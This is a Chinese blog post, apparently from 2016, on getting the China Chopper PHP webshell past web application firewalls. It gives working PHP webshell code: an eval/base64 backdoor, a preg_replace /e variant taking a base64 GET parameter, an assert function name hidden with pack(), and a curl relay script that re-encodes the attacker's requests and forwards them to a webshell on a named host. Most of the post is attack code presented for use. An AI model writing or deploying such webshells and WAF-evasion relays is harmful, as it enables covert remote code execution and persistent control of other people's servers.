菜刀php过waf
2016-06-15 14:48 狼人:-) 阅读(1523) 评论(0) 编辑 收藏 举报关于PHP
一、waf为啥会拦截菜刀。
菜刀在连接时,会向server端POST数据,抓包查看:
会看到他向server端post了 @eval(base64_decode($_POST[z0]));
一般的waf都会拦截eval的。
二、要想菜刀仍然正常工作,就必须让菜刀中的内置的@eval(base64_decode($_POST[z0]));代码不被waf拦截,但又可以传递到server端。
方案一:修改菜刀
(1)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,写进服务端去。
于是server端代码为:
1 2 3 4 5 6 | <?php if ( $_POST [ 'c' ]!= '' ) { @ eval ( base64_decode ( $_POST [z0])); } ?> |
客户端用修改后的菜刀连接。
说明:这种方法是将菜刀内置的eval(base64_decode($_POST[z0]))直接写到server端。
(2)修改菜刀,将菜刀客户端的eval(base64_decode($_POST[z0]))去掉,用get方式将eval(base64_decode($_POST[z0]))的base64加密形式发到服务端。
server端代码:
<?php preg_replace("/^/e",base64_decode($_REQUEST[g]),0);?>
客户端用修改后的菜刀连接:http://www.s2ck.cc/test.php?g=ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFt6MF0pKQ==
说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过base64加密,然后通过get方式传到server端。
方案二:中转client->自己服务器/应用(加密)->防火墙->真实地址(解密)
(3)通过中转,将菜刀post的eval(base64_decode($_POST[z0]))进行加密。服务端进行解密。
server端代码:
1 2 3 4 5 | <?php $func =pack( "c6" ,97,115,115,101,114,116); $_POST [ 'c' ]= base64_decode ( $_POST [ 'c' ]) ; $func ( $_POST [ 'c' ]); ?> |
中转端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <?php $handle =curl_init(); $DATA = array (); $DATA = $_POST ; $DATA [ 'c' ]= base64_encode ( substr ( $DATA [ 'c' ],1)); curl_setopt( $handle ,CURLOPT_URL, 'http://www.s2ck.cc/1.php' ); curl_setopt( $handle ,CURLOPT_HEADER,0); curl_setopt( $handle ,CURLOPT_RETURNTRANSFER, 1); curl_setopt( $handle ,CURLOPT_POST,1); curl_setopt( $handle ,CURLOPT_POSTFIELDS, $DATA ); $output =curl_exec( $handle ); if ( $output === FALSE) { echo "cURL Error: " . curl_error( $handle ); } echo ( $output ); curl_close( $handle ); ?> |
客户端:
用原版菜刀连接。
说明:这种方法是将菜刀内置的 eval(base64_decode($_POST[z0]))通过中转端进行加密,然后server端进行解密。从而绕过waf
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
2011-06-15 WIN7,server2008 IIS 伪静态 不能显示特殊图片 加号 减号 “+”,"-"号的图片需要转义才可以显示